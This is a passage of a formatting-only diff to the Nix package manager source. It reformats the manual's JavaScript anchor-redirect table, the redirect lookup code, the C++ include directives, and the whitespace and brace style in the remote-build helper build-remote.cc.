"installation/multi-user.html", - "ch-nix-security": "installation/nix-security.html", - "sec-obtaining-source": "installation/obtaining-source.html", - "sec-prerequisites-source": "installation/prerequisites-source.html", - "sec-single-user": "installation/single-user.html", - "ch-supported-platforms": "installation/supported-platforms.html", - "ch-upgrading-nix": "installation/upgrading.html", - "ch-about-nix": "introduction.html", - "chap-introduction": "introduction.html", - "ch-basic-package-mgmt": "package-management/basic-package-mgmt.html", - "ssec-binary-cache-substituter": "package-management/binary-cache-substituter.html", - "sec-channels": "command-ref/nix-channel.html", - "ssec-copy-closure": "command-ref/nix-copy-closure.html", - "sec-garbage-collection": "package-management/garbage-collection.html", - "ssec-gc-roots": "package-management/garbage-collector-roots.html", - "chap-package-management": "package-management/index.html", - "sec-profiles": "package-management/profiles.html", - "ssec-s3-substituter": "store/types/s3-substituter.html", - "ssec-s3-substituter-anonymous-reads": "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache", - "ssec-s3-substituter-authenticated-reads": "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache", - "ssec-s3-substituter-authenticated-writes": "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache", - "sec-sharing-packages": "package-management/sharing-packages.html", - "ssec-ssh-substituter": "package-management/ssh-substituter.html", - "chap-quick-start": "quick-start.html", - "sec-relnotes": "release-notes/index.html", - "ch-relnotes-0.10.1": "release-notes/rl-0.10.1.html", - "ch-relnotes-0.10": "release-notes/rl-0.10.html", - "ssec-relnotes-0.11": "release-notes/rl-0.11.html", - "ssec-relnotes-0.12": "release-notes/rl-0.12.html", - "ssec-relnotes-0.13": "release-notes/rl-0.13.html", - "ssec-relnotes-0.14": "release-notes/rl-0.14.html", - "ssec-relnotes-0.15": "release-notes/rl-0.15.html", - "ssec-relnotes-0.16": "release-notes/rl-0.16.html", - "ch-relnotes-0.5": "release-notes/rl-0.5.html", - "ch-relnotes-0.6": "release-notes/rl-0.6.html", - "ch-relnotes-0.7": "release-notes/rl-0.7.html", - "ch-relnotes-0.8.1": "release-notes/rl-0.8.1.html", - "ch-relnotes-0.8": "release-notes/rl-0.8.html", - "ch-relnotes-0.9.1": "release-notes/rl-0.9.1.html", - "ch-relnotes-0.9.2": "release-notes/rl-0.9.2.html", - "ch-relnotes-0.9": "release-notes/rl-0.9.html", - "ssec-relnotes-1.0": "release-notes/rl-1.0.html", - "ssec-relnotes-1.1": "release-notes/rl-1.1.html", - "ssec-relnotes-1.10": "release-notes/rl-1.10.html", - "ssec-relnotes-1.11.10": "release-notes/rl-1.11.10.html", - "ssec-relnotes-1.11": "release-notes/rl-1.11.html", - "ssec-relnotes-1.2": "release-notes/rl-1.2.html", - "ssec-relnotes-1.3": "release-notes/rl-1.3.html", - "ssec-relnotes-1.4": "release-notes/rl-1.4.html", - "ssec-relnotes-1.5.1": "release-notes/rl-1.5.1.html", - "ssec-relnotes-1.5.2": "release-notes/rl-1.5.2.html", - "ssec-relnotes-1.5": "release-notes/rl-1.5.html", - "ssec-relnotes-1.6.1": "release-notes/rl-1.6.1.html", - "ssec-relnotes-1.6.0": "release-notes/rl-1.6.html", - "ssec-relnotes-1.7": "release-notes/rl-1.7.html", - "ssec-relnotes-1.8": "release-notes/rl-1.8.html", - "ssec-relnotes-1.9": "release-notes/rl-1.9.html", - "ssec-relnotes-2.0": "release-notes/rl-2.0.html", - "ssec-relnotes-2.1": "release-notes/rl-2.1.html", - "ssec-relnotes-2.2": "release-notes/rl-2.2.html", - "ssec-relnotes-2.3": "release-notes/rl-2.3.html", - }, - "language/types.html": { - "simple-values": "#primitives", - "lists": "#list", - "strings": "#string", - "attribute-sets": "#attribute-set", - "type-number": "#type-int", - }, - "language/syntax.html": { - "scoping-rules": "scoping.html", - "string-literal": "string-literals.html", - }, - "language/derivations.md": { - "builder-execution": "store/drv/building.md#builder-execution", - }, - "installation/installing-binary.html": { - "linux": "uninstall.html#linux", - "macos": "uninstall.html#macos", - "uninstalling": "uninstall.html", - }, - "development/building.html": { - "nix-with-flakes": "#building-nix-with-flakes", - "classic-nix": "#building-nix", - "running-tests": "testing.html#running-tests", - "unit-tests": "testing.html#unit-tests", - "functional-tests": "testing.html#functional-tests", - "debugging-failing-functional-tests": "testing.html#debugging-failing-functional-tests", - "integration-tests": "testing.html#integration-tests", - "installer-tests": "testing.html#installer-tests", - "one-time-setup": "testing.html#one-time-setup", - "using-the-ci-generated-installer-for-manual-testing": "testing.html#using-the-ci-generated-installer-for-manual-testing", - "characterization-testing": "testing.html#characterisation-testing-unit", - "add-a-release-note": "contributing.html#add-a-release-note", - "add-an-entry": "contributing.html#add-an-entry", - "build-process": "contributing.html#build-process", - "reverting": "contributing.html#reverting", - "branches": "contributing.html#branches", - }, - "glossary.html": { - "gloss-local-store": "store/types/local-store.html", - "package-attribute-set": "#package", - "gloss-chroot-store": "store/types/local-store.html", - "gloss-content-addressed-derivation": "#gloss-content-addressing-derivation", - }, + "index.html" : { + "part-advanced-topics" : "advanced-topics/index.html", + "chap-tuning-cores-and-jobs" : "advanced-topics/cores-vs-jobs.html", + "chap-diff-hook" : "advanced-topics/diff-hook.html", + "check-dirs-are-unregistered" : "advanced-topics/diff-hook.html#check-dirs-are-unregistered", + "chap-distributed-builds" : "command-ref/conf-file.html#conf-builders", + "chap-post-build-hook" : "advanced-topics/post-build-hook.html", + "chap-post-build-hook-caveats" : "advanced-topics/post-build-hook.html#implementation-caveats", + "chap-writing-nix-expressions" : "language/index.html", + "part-command-ref" : "command-ref/index.html", + "conf-allow-import-from-derivation" : "command-ref/conf-file.html#conf-allow-import-from-derivation", + "conf-allow-new-privileges" : "command-ref/conf-file.html#conf-allow-new-privileges", + "conf-allowed-uris" : "command-ref/conf-file.html#conf-allowed-uris", + "conf-allowed-users" : "command-ref/conf-file.html#conf-allowed-users", + "conf-auto-optimise-store" : "command-ref/conf-file.html#conf-auto-optimise-store", + "conf-binary-cache-public-keys" : "command-ref/conf-file.html#conf-binary-cache-public-keys", + "conf-binary-caches" : "command-ref/conf-file.html#conf-binary-caches", + "conf-build-compress-log" : "command-ref/conf-file.html#conf-build-compress-log", + "conf-build-cores" : "command-ref/conf-file.html#conf-build-cores", + "conf-build-extra-chroot-dirs" : "command-ref/conf-file.html#conf-build-extra-chroot-dirs", + "conf-build-extra-sandbox-paths" : "command-ref/conf-file.html#conf-build-extra-sandbox-paths", + "conf-build-fallback" : "command-ref/conf-file.html#conf-build-fallback", + "conf-build-max-jobs" : "command-ref/conf-file.html#conf-build-max-jobs", + "conf-build-max-log-size" : "command-ref/conf-file.html#conf-build-max-log-size", + "conf-build-max-silent-time" : "command-ref/conf-file.html#conf-build-max-silent-time", + "conf-build-timeout" : "command-ref/conf-file.html#conf-build-timeout", + "conf-build-use-chroot" : "command-ref/conf-file.html#conf-build-use-chroot", + "conf-build-use-sandbox" : "command-ref/conf-file.html#conf-build-use-sandbox", + "conf-build-use-substitutes" : "command-ref/conf-file.html#conf-build-use-substitutes", + "conf-build-users-group" : "command-ref/conf-file.html#conf-build-users-group", + "conf-builders" : "command-ref/conf-file.html#conf-builders", + "conf-builders-use-substitutes" : "command-ref/conf-file.html#conf-builders-use-substitutes", + "conf-compress-build-log" : "command-ref/conf-file.html#conf-compress-build-log", + "conf-connect-timeout" : "command-ref/conf-file.html#conf-connect-timeout", + "conf-cores" : "command-ref/conf-file.html#conf-cores", + "conf-diff-hook" : "command-ref/conf-file.html#conf-diff-hook", + "conf-env-keep-derivations" : "command-ref/conf-file.html#conf-env-keep-derivations", + "conf-extra-binary-caches" : "command-ref/conf-file.html#conf-extra-binary-caches", + "conf-extra-platforms" : "command-ref/conf-file.html#conf-extra-platforms", + "conf-extra-sandbox-paths" : "command-ref/conf-file.html#conf-extra-sandbox-paths", + "conf-extra-substituters" : "command-ref/conf-file.html#conf-extra-substituters", + "conf-fallback" : "command-ref/conf-file.html#conf-fallback", + "conf-fsync-metadata" : "command-ref/conf-file.html#conf-fsync-metadata", + "conf-gc-keep-derivations" : "command-ref/conf-file.html#conf-gc-keep-derivations", + "conf-gc-keep-outputs" : "command-ref/conf-file.html#conf-gc-keep-outputs", + "conf-hashed-mirrors" : "command-ref/conf-file.html#conf-hashed-mirrors", + "conf-http-connections" : "command-ref/conf-file.html#conf-http-connections", + "conf-keep-build-log" : "command-ref/conf-file.html#conf-keep-build-log", + "conf-keep-derivations" : "command-ref/conf-file.html#conf-keep-derivations", + "conf-keep-env-derivations" : "command-ref/conf-file.html#conf-keep-env-derivations", + "conf-keep-outputs" : "command-ref/conf-file.html#conf-keep-outputs", + "conf-max-build-log-size" : "command-ref/conf-file.html#conf-max-build-log-size", + "conf-max-free" : "command-ref/conf-file.html#conf-max-free", + "conf-max-jobs" : "command-ref/conf-file.html#conf-max-jobs", + "conf-max-silent-time" : "command-ref/conf-file.html#conf-max-silent-time", + "conf-min-free" : "command-ref/conf-file.html#conf-min-free", + "conf-narinfo-cache-negative-ttl" : "command-ref/conf-file.html#conf-narinfo-cache-negative-ttl", + "conf-narinfo-cache-positive-ttl" : "command-ref/conf-file.html#conf-narinfo-cache-positive-ttl", + "conf-netrc-file" : "command-ref/conf-file.html#conf-netrc-file", + "conf-plugin-files" : "command-ref/conf-file.html#conf-plugin-files", + "conf-post-build-hook" : "command-ref/conf-file.html#conf-post-build-hook", + "conf-pre-build-hook" : "command-ref/conf-file.html#conf-pre-build-hook", + "conf-require-sigs" : "command-ref/conf-file.html#conf-require-sigs", + "conf-restrict-eval" : "command-ref/conf-file.html#conf-restrict-eval", + "conf-run-diff-hook" : "command-ref/conf-file.html#conf-run-diff-hook", + "conf-sandbox" : "command-ref/conf-file.html#conf-sandbox", + "conf-sandbox-dev-shm-size" : "command-ref/conf-file.html#conf-sandbox-dev-shm-size", + "conf-sandbox-paths" : "command-ref/conf-file.html#conf-sandbox-paths", + "conf-secret-key-files" : "command-ref/conf-file.html#conf-secret-key-files", + "conf-show-trace" : "command-ref/conf-file.html#conf-show-trace", + "conf-stalled-download-timeout" : "command-ref/conf-file.html#conf-stalled-download-timeout", + "conf-substitute" : "command-ref/conf-file.html#conf-substitute", + "conf-substituters" : "command-ref/conf-file.html#conf-substituters", + "conf-system" : "command-ref/conf-file.html#conf-system", + "conf-system-features" : "command-ref/conf-file.html#conf-system-features", + "conf-tarball-ttl" : "command-ref/conf-file.html#conf-tarball-ttl", + "conf-timeout" : "command-ref/conf-file.html#conf-timeout", + "conf-trace-function-calls" : "command-ref/conf-file.html#conf-trace-function-calls", + "conf-trusted-binary-caches" : "command-ref/conf-file.html#conf-trusted-binary-caches", + "conf-trusted-public-keys" : "command-ref/conf-file.html#conf-trusted-public-keys", + "conf-trusted-substituters" : "command-ref/conf-file.html#conf-trusted-substituters", + "conf-trusted-users" : "command-ref/conf-file.html#conf-trusted-users", + "extra-sandbox-paths" : "command-ref/conf-file.html#extra-sandbox-paths", + "sec-conf-file" : "command-ref/conf-file.html", + "env-NIX_PATH" : "command-ref/env-common.html#env-NIX_PATH", + "env-common" : "command-ref/env-common.html", + "envar-remote" : "command-ref/env-common.html#env-NIX_REMOTE", + "sec-common-env" : "command-ref/env-common.html", + "ch-files" : "command-ref/files.html", + "ch-main-commands" : "command-ref/main-commands.html", + "opt-out-link" : "command-ref/nix-build.html#opt-out-link", + "sec-nix-build" : "command-ref/nix-build.html", + "sec-nix-channel" : "command-ref/nix-channel.html", + "sec-nix-collect-garbage" : "command-ref/nix-collect-garbage.html", + "sec-nix-copy-closure" : "command-ref/nix-copy-closure.html", + "sec-nix-daemon" : "command-ref/nix-daemon.html", + "refsec-nix-env-install-examples" : "command-ref/nix-env.html#examples", + "rsec-nix-env-install" : "command-ref/nix-env.html#operation---install", + "rsec-nix-env-set" : "command-ref/nix-env.html#operation---set", + "rsec-nix-env-set-flag" : "command-ref/nix-env.html#operation---set-flag", + "rsec-nix-env-upgrade" : "command-ref/nix-env.html#operation---upgrade", + "sec-nix-env" : "command-ref/nix-env.html", + "ssec-version-comparisons" : "command-ref/nix-env.html#versions", + "sec-nix-hash" : "command-ref/nix-hash.html", + "sec-nix-instantiate" : "command-ref/nix-instantiate.html", + "sec-nix-prefetch-url" : "command-ref/nix-prefetch-url.html", + "sec-nix-shell" : "command-ref/nix-shell.html", + "ssec-nix-shell-shebang" : "command-ref/nix-shell.html#use-as-a--interpreter", + "nixref-queries" : "command-ref/nix-store.html#queries", + "opt-add-root" : "command-ref/nix-store.html#opt-add-root", + "refsec-nix-store-dump" : "command-ref/nix-store.html#operation---dump", + "refsec-nix-store-export" : "command-ref/nix-store.html#operation---export", + "refsec-nix-store-import" : "command-ref/nix-store.html#operation---import", + "refsec-nix-store-query" : "command-ref/nix-store.html#operation---query", + "refsec-nix-store-verify" : "command-ref/nix-store.html#operation---verify", + "rsec-nix-store-gc" : "command-ref/nix-store.html#operation---gc", + "rsec-nix-store-generate-binary-cache-key" : "command-ref/nix-store.html#operation---generate-binary-cache-key", + "rsec-nix-store-realise" : "command-ref/nix-store.html#operation---realise", + "rsec-nix-store-serve" : "command-ref/nix-store.html#operation---serve", + "sec-nix-store" : "command-ref/nix-store.html", + "opt-I" : "command-ref/opt-common.html#opt-I", + "opt-attr" : "command-ref/opt-common.html#opt-attr", + "opt-common" : "command-ref/opt-common.html", + "opt-cores" : "command-ref/opt-common.html#opt-cores", + "opt-log-format" : "command-ref/opt-common.html#opt-log-format", + "opt-max-jobs" : "command-ref/opt-common.html#opt-max-jobs", + "opt-max-silent-time" : "command-ref/opt-common.html#opt-max-silent-time", + "opt-timeout" : "command-ref/opt-common.html#opt-timeout", + "sec-common-options" : "command-ref/opt-common.html", + "ch-utilities" : "command-ref/utilities.html", + "chap-hacking" : "development/building.html", + "adv-attr-allowSubstitutes" : "language/advanced-attributes.html#adv-attr-allowSubstitutes", + "adv-attr-allowedReferences" : "language/advanced-attributes.html#adv-attr-allowedReferences", + "adv-attr-allowedRequisites" : "language/advanced-attributes.html#adv-attr-allowedRequisites", + "adv-attr-disallowedReferences" : "language/advanced-attributes.html#adv-attr-disallowedReferences", + "adv-attr-disallowedRequisites" : "language/advanced-attributes.html#adv-attr-disallowedRequisites", + "adv-attr-exportReferencesGraph" : "language/advanced-attributes.html#adv-attr-exportReferencesGraph", + "adv-attr-impureEnvVars" : "language/advanced-attributes.html#adv-attr-impureEnvVars", + "adv-attr-outputHash" : "language/advanced-attributes.html#adv-attr-outputHash", + "adv-attr-outputHashAlgo" : "language/advanced-attributes.html#adv-attr-outputHashAlgo", + "adv-attr-outputHashMode" : "language/advanced-attributes.html#adv-attr-outputHashMode", + "adv-attr-passAsFile" : "language/advanced-attributes.html#adv-attr-passAsFile", + "adv-attr-preferLocalBuild" : "language/advanced-attributes.html#adv-attr-preferLocalBuild", + "fixed-output-drvs" : "language/advanced-attributes.html#adv-attr-outputHash", + "sec-advanced-attributes" : "language/advanced-attributes.html", + "builtin-abort" : "language/builtins.html#builtins-abort", + "builtin-add" : "language/builtins.html#builtins-add", + "builtin-all" : "language/builtins.html#builtins-all", + "builtin-any" : "language/builtins.html#builtins-any", + "builtin-attrNames" : "language/builtins.html#builtins-attrNames", + "builtin-attrValues" : "language/builtins.html#builtins-attrValues", + "builtin-baseNameOf" : "language/builtins.html#builtins-baseNameOf", + "builtin-bitAnd" : "language/builtins.html#builtins-bitAnd", + "builtin-bitOr" : "language/builtins.html#builtins-bitOr", + "builtin-bitXor" : "language/builtins.html#builtins-bitXor", + "builtin-builtins" : "language/builtins.html#builtins-builtins", + "builtin-compareVersions" : "language/builtins.html#builtins-compareVersions", + "builtin-concatLists" : "language/builtins.html#builtins-concatLists", + "builtin-concatStringsSep" : "language/builtins.html#builtins-concatStringsSep", + "builtin-currentSystem" : "language/builtins.html#builtins-currentSystem", + "builtin-deepSeq" : "language/builtins.html#builtins-deepSeq", + "builtin-derivation" : "language/builtins.html#builtins-derivation", + "builtin-dirOf" : "language/builtins.html#builtins-dirOf", + "builtin-div" : "language/builtins.html#builtins-div", + "builtin-elem" : "language/builtins.html#builtins-elem", + "builtin-elemAt" : "language/builtins.html#builtins-elemAt", + "builtin-fetchGit" : "language/builtins.html#builtins-fetchGit", + "builtin-fetchTarball" : "language/builtins.html#builtins-fetchTarball", + "builtin-fetchurl" : "language/builtins.html#builtins-fetchurl", + "builtin-filterSource" : "language/builtins.html#builtins-filterSource", + "builtin-foldl-prime" : "language/builtins.html#builtins-foldl-prime", + "builtin-fromJSON" : "language/builtins.html#builtins-fromJSON", + "builtin-functionArgs" : "language/builtins.html#builtins-functionArgs", + "builtin-genList" : "language/builtins.html#builtins-genList", + "builtin-getAttr" : "language/builtins.html#builtins-getAttr", + "builtin-getEnv" : "language/builtins.html#builtins-getEnv", + "builtin-hasAttr" : "language/builtins.html#builtins-hasAttr", + "builtin-hashFile" : "language/builtins.html#builtins-hashFile", + "builtin-hashString" : "language/builtins.html#builtins-hashString", + "builtin-head" : "language/builtins.html#builtins-head", + "builtin-import" : "language/builtins.html#builtins-import", + "builtin-intersectAttrs" : "language/builtins.html#builtins-intersectAttrs", + "builtin-isAttrs" : "language/builtins.html#builtins-isAttrs", + "builtin-isBool" : "language/builtins.html#builtins-isBool", + "builtin-isFloat" : "language/builtins.html#builtins-isFloat", + "builtin-isFunction" : "language/builtins.html#builtins-isFunction", + "builtin-isInt" : "language/builtins.html#builtins-isInt", + "builtin-isList" : "language/builtins.html#builtins-isList", + "builtin-isNull" : "language/builtins.html#builtins-isNull", + "builtin-isString" : "language/builtins.html#builtins-isString", + "builtin-length" : "language/builtins.html#builtins-length", + "builtin-lessThan" : "language/builtins.html#builtins-lessThan", + "builtin-listToAttrs" : "language/builtins.html#builtins-listToAttrs", + "builtin-map" : "language/builtins.html#builtins-map", + "builtin-match" : "language/builtins.html#builtins-match", + "builtin-mul" : "language/builtins.html#builtins-mul", + "builtin-parseDrvName" : "language/builtins.html#builtins-parseDrvName", + "builtin-path" : "language/builtins.html#builtins-path", + "builtin-pathExists" : "language/builtins.html#builtins-pathExists", + "builtin-placeholder" : "language/builtins.html#builtins-placeholder", + "builtin-readDir" : "language/builtins.html#builtins-readDir", + "builtin-readFile" : "language/builtins.html#builtins-readFile", + "builtin-removeAttrs" : "language/builtins.html#builtins-removeAttrs", + "builtin-replaceStrings" : "language/builtins.html#builtins-replaceStrings", + "builtin-seq" : "language/builtins.html#builtins-seq", + "builtin-sort" : "language/builtins.html#builtins-sort", + "builtin-split" : "language/builtins.html#builtins-split", + "builtin-splitVersion" : "language/builtins.html#builtins-splitVersion", + "builtin-stringLength" : "language/builtins.html#builtins-stringLength", + "builtin-sub" : "language/builtins.html#builtins-sub", + "builtin-substring" : "language/builtins.html#builtins-substring", + "builtin-tail" : "language/builtins.html#builtins-tail", + "builtin-throw" : "language/builtins.html#builtins-throw", + "builtin-toFile" : "language/builtins.html#builtins-toFile", + "builtin-toJSON" : "language/builtins.html#builtins-toJSON", + "builtin-toPath" : "language/builtins.html#builtins-toPath", + "builtin-toString" : "language/builtins.html#builtins-toString", + "builtin-toXML" : "language/builtins.html#builtins-toXML", + "builtin-trace" : "language/builtins.html#builtins-trace", + "builtin-tryEval" : "language/builtins.html#builtins-tryEval", + "builtin-typeOf" : "language/builtins.html#builtins-typeOf", + "ssec-builtins" : "language/builtins.html", + "attr-system" : "language/derivations.html#attr-system", + "ssec-derivation" : "language/derivations.html", + "ch-expression-language" : "language/index.html", + "sec-constructs" : "language/syntax.html", + "sect-let-language" : "language/syntax.html#let-expressions", + "ss-functions" : "language/syntax.html#functions", + "sec-language-operators" : "language/operators.html", + "table-operators" : "language/operators.html", + "ssec-values" : "language/types.html", + "gloss-closure" : "glossary.html#gloss-closure", + "gloss-derivation" : "glossary.html#gloss-derivation", + "gloss-deriver" : "glossary.html#gloss-deriver", + "gloss-nar" : "glossary.html#gloss-nar", + "gloss-output-path" : "glossary.html#gloss-output-path", + "gloss-profile" : "glossary.html#gloss-profile", + "gloss-reachable" : "glossary.html#gloss-reachable", + "gloss-reference" : "glossary.html#gloss-reference", + "gloss-substitute" : "glossary.html#gloss-substitute", + "gloss-user-env" : "glossary.html#gloss-user-env", + "gloss-validity" : "glossary.html#gloss-validity", + "part-glossary" : "glossary.html", + "sec-building-source" : "installation/building-source.html", + "ch-env-variables" : "installation/env-variables.html", + "sec-installer-proxy-settings" : "installation/env-variables.html#proxy-environment-variables", + "sec-nix-ssl-cert-file" : "installation/env-variables.html#nix_ssl_cert_file", + "sec-nix-ssl-cert-file-with-nix-daemon-and-macos" : + "installation/env-variables.html#nix_ssl_cert_file-with-macos-and-the-nix-daemon", + "chap-installation" : "installation/index.html", + "ch-installing-binary" : "installation/installing-binary.html", + "sect-macos-installation" : "installation/installing-binary.html#macos-installation", + "sect-macos-installation-change-store-prefix" : "installation/installing-binary.html#macos-installation", + "sect-macos-installation-encrypted-volume" : "installation/installing-binary.html#macos-installation", + "sect-macos-installation-recommended-notes" : "installation/installing-binary.html#macos-installation", + "sect-macos-installation-symlink" : "installation/installing-binary.html#macos-installation", + "sect-multi-user-installation" : "installation/installing-binary.html#multi-user-installation", + "sect-nix-install-binary-tarball" : "installation/installing-binary.html#installing-from-a-binary-tarball", + "sect-nix-install-pinned-version-url" : + "installation/installing-binary.html#installing-a-pinned-nix-version-from-a-url", + "sect-single-user-installation" : "installation/installing-binary.html#single-user-installation", + "ch-installing-source" : "installation/installing-source.html", + "ssec-multi-user" : "installation/multi-user.html", + "ch-nix-security" : "installation/nix-security.html", + "sec-obtaining-source" : "installation/obtaining-source.html", + "sec-prerequisites-source" : "installation/prerequisites-source.html", + "sec-single-user" : "installation/single-user.html", + "ch-supported-platforms" : "installation/supported-platforms.html", + "ch-upgrading-nix" : "installation/upgrading.html", + "ch-about-nix" : "introduction.html", + "chap-introduction" : "introduction.html", + "ch-basic-package-mgmt" : "package-management/basic-package-mgmt.html", + "ssec-binary-cache-substituter" : "package-management/binary-cache-substituter.html", + "sec-channels" : "command-ref/nix-channel.html", + "ssec-copy-closure" : "command-ref/nix-copy-closure.html", + "sec-garbage-collection" : "package-management/garbage-collection.html", + "ssec-gc-roots" : "package-management/garbage-collector-roots.html", + "chap-package-management" : "package-management/index.html", + "sec-profiles" : "package-management/profiles.html", + "ssec-s3-substituter" : "store/types/s3-substituter.html", + "ssec-s3-substituter-anonymous-reads" : + "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache", + "ssec-s3-substituter-authenticated-reads" : + "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache", + "ssec-s3-substituter-authenticated-writes" : + "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache", + "sec-sharing-packages" : "package-management/sharing-packages.html", + "ssec-ssh-substituter" : "package-management/ssh-substituter.html", + "chap-quick-start" : "quick-start.html", + "sec-relnotes" : "release-notes/index.html", + "ch-relnotes-0.10.1" : "release-notes/rl-0.10.1.html", + "ch-relnotes-0.10" : "release-notes/rl-0.10.html", + "ssec-relnotes-0.11" : "release-notes/rl-0.11.html", + "ssec-relnotes-0.12" : "release-notes/rl-0.12.html", + "ssec-relnotes-0.13" : "release-notes/rl-0.13.html", + "ssec-relnotes-0.14" : "release-notes/rl-0.14.html", + "ssec-relnotes-0.15" : "release-notes/rl-0.15.html", + "ssec-relnotes-0.16" : "release-notes/rl-0.16.html", + "ch-relnotes-0.5" : "release-notes/rl-0.5.html", + "ch-relnotes-0.6" : "release-notes/rl-0.6.html", + "ch-relnotes-0.7" : "release-notes/rl-0.7.html", + "ch-relnotes-0.8.1" : "release-notes/rl-0.8.1.html", + "ch-relnotes-0.8" : "release-notes/rl-0.8.html", + "ch-relnotes-0.9.1" : "release-notes/rl-0.9.1.html", + "ch-relnotes-0.9.2" : "release-notes/rl-0.9.2.html", + "ch-relnotes-0.9" : "release-notes/rl-0.9.html", + "ssec-relnotes-1.0" : "release-notes/rl-1.0.html", + "ssec-relnotes-1.1" : "release-notes/rl-1.1.html", + "ssec-relnotes-1.10" : "release-notes/rl-1.10.html", + "ssec-relnotes-1.11.10" : "release-notes/rl-1.11.10.html", + "ssec-relnotes-1.11" : "release-notes/rl-1.11.html", + "ssec-relnotes-1.2" : "release-notes/rl-1.2.html", + "ssec-relnotes-1.3" : "release-notes/rl-1.3.html", + "ssec-relnotes-1.4" : "release-notes/rl-1.4.html", + "ssec-relnotes-1.5.1" : "release-notes/rl-1.5.1.html", + "ssec-relnotes-1.5.2" : "release-notes/rl-1.5.2.html", + "ssec-relnotes-1.5" : "release-notes/rl-1.5.html", + "ssec-relnotes-1.6.1" : "release-notes/rl-1.6.1.html", + "ssec-relnotes-1.6.0" : "release-notes/rl-1.6.html", + "ssec-relnotes-1.7" : "release-notes/rl-1.7.html", + "ssec-relnotes-1.8" : "release-notes/rl-1.8.html", + "ssec-relnotes-1.9" : "release-notes/rl-1.9.html", + "ssec-relnotes-2.0" : "release-notes/rl-2.0.html", + "ssec-relnotes-2.1" : "release-notes/rl-2.1.html", + "ssec-relnotes-2.2" : "release-notes/rl-2.2.html", + "ssec-relnotes-2.3" : "release-notes/rl-2.3.html", + }, + "language/types.html" : { + "simple-values" : "#primitives", + "lists" : "#list", + "strings" : "#string", + "attribute-sets" : "#attribute-set", + "type-number" : "#type-int", + }, + "language/syntax.html" : { + "scoping-rules" : "scoping.html", + "string-literal" : "string-literals.html", + }, + "language/derivations.md" : { + "builder-execution" : "store/drv/building.md#builder-execution", + }, + "installation/installing-binary.html" : { + "linux" : "uninstall.html#linux", + "macos" : "uninstall.html#macos", + "uninstalling" : "uninstall.html", + }, + "development/building.html" : { + "nix-with-flakes" : "#building-nix-with-flakes", + "classic-nix" : "#building-nix", + "running-tests" : "testing.html#running-tests", + "unit-tests" : "testing.html#unit-tests", + "functional-tests" : "testing.html#functional-tests", + "debugging-failing-functional-tests" : "testing.html#debugging-failing-functional-tests", + "integration-tests" : "testing.html#integration-tests", + "installer-tests" : "testing.html#installer-tests", + "one-time-setup" : "testing.html#one-time-setup", + "using-the-ci-generated-installer-for-manual-testing" : + "testing.html#using-the-ci-generated-installer-for-manual-testing", + "characterization-testing" : "testing.html#characterisation-testing-unit", + "add-a-release-note" : "contributing.html#add-a-release-note", + "add-an-entry" : "contributing.html#add-an-entry", + "build-process" : "contributing.html#build-process", + "reverting" : "contributing.html#reverting", + "branches" : "contributing.html#branches", + }, + "glossary.html" : { + "gloss-local-store" : "store/types/local-store.html", + "package-attribute-set" : "#package", + "gloss-chroot-store" : "store/types/local-store.html", + "gloss-content-addressed-derivation" : "#gloss-content-addressing-derivation", + }, }; // the following code matches the current page's URL against the set of redirects. @@ -418,8 +424,11 @@ let segments = document.location.pathname.split('/'); let file = segments.pop(); // normalize file name -if (file === '') { file = "index.html"; } -else if (!file.endsWith('.html')) { file = file + '.html'; } +if (file === '') { + file = "index.html"; +} else if (!file.endsWith('.html')) { + file = file + '.html'; +} segments.push(file); @@ -453,8 +462,8 @@ const anchor = document.location.hash.substring(1); const redirect = redirects[path]; if (redirect) { - const target = redirect[anchor]; - if (target) { - document.location.href = target; - } + const target = redirect[anchor]; + if (target) { + document.location.href = target; + } } diff --git a/precompiled-headers.h b/precompiled-headers.h index e1a3f8cc0..e35792e70 100644 --- a/precompiled-headers.h +++ b/precompiled-headers.h @@ -49,15 +49,15 @@ #include #ifndef _WIN32 -# include -# include -# include -# include -# include -# include -# include -# include -# include +# include +# include +# include +# include +# include +# include +# include +# include +# include #endif #include diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 60247b735..f3931cf4f 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -6,7 +6,7 @@ #include #include #ifdef __APPLE__ -#include +# include #endif #include "nix/store/machines.hh" @@ -26,8 +26,7 @@ using namespace nix; using std::cin; -static void handleAlarm(int sig) { -} +static void handleAlarm(int sig) {} std::string escapeUri(std::string uri) { @@ -42,13 +41,15 @@ static AutoCloseFD openSlotLock(const Machine & m, uint64_t slot) return openLockFile(fmt("%s/%s-%d", currentLoad, escapeUri(m.storeUri.render()), slot), true); } -static bool allSupportedLocally(Store & store, const std::set& requiredFeatures) { +static bool allSupportedLocally(Store & store, const std::set & requiredFeatures) +{ for (auto & feature : requiredFeatures) - if (!store.systemFeatures.get().count(feature)) return false; + if (!store.systemFeatures.get().count(feature)) + return false; return true; } -static int main_build_remote(int argc, char * * argv) +static int main_build_remote(int argc, char ** argv) { { logger = makeJSONLogger(getStandardError()); @@ -85,7 +86,7 @@ static int main_build_remote(int argc, char * * argv) that gets cleared on reboot, but it wouldn't work on macOS. */ auto currentLoadName = "/current-load"; if (auto localStore = store.dynamic_pointer_cast()) - currentLoad = std::string { localStore->stateDir } + currentLoadName; + currentLoad = std::string{localStore->stateDir} + currentLoadName; else currentLoad = settings.nixStateDir + currentLoadName; @@ -107,8 +108,11 @@ static int main_build_remote(int argc, char * * argv) try { auto s = readString(source); - if (s != "try") return 0; - } catch (EndOfFile &) { return 0; } + if (s != "try") + return 0; + } catch (EndOfFile &) { + return 0; + } auto amWilling = readInt(source); auto neededSystem = readString(source); @@ -117,10 +121,10 @@ static int main_build_remote(int argc, char * * argv) /* It would be possible to build locally after some builds clear out, so don't show the warning now: */ - bool couldBuildLocally = maxBuildJobs > 0 - && ( neededSystem == settings.thisSystem - || settings.extraPlatforms.get().count(neededSystem) > 0) - && allSupportedLocally(*store, requiredFeatures); + bool couldBuildLocally = + maxBuildJobs > 0 + && (neededSystem == settings.thisSystem || settings.extraPlatforms.get().count(neededSystem) > 0) + && allSupportedLocally(*store, requiredFeatures); /* It's possible to build this locally right now: */ bool canBuildLocally = amWilling && couldBuildLocally; @@ -139,11 +143,8 @@ static int main_build_remote(int argc, char * * argv) for 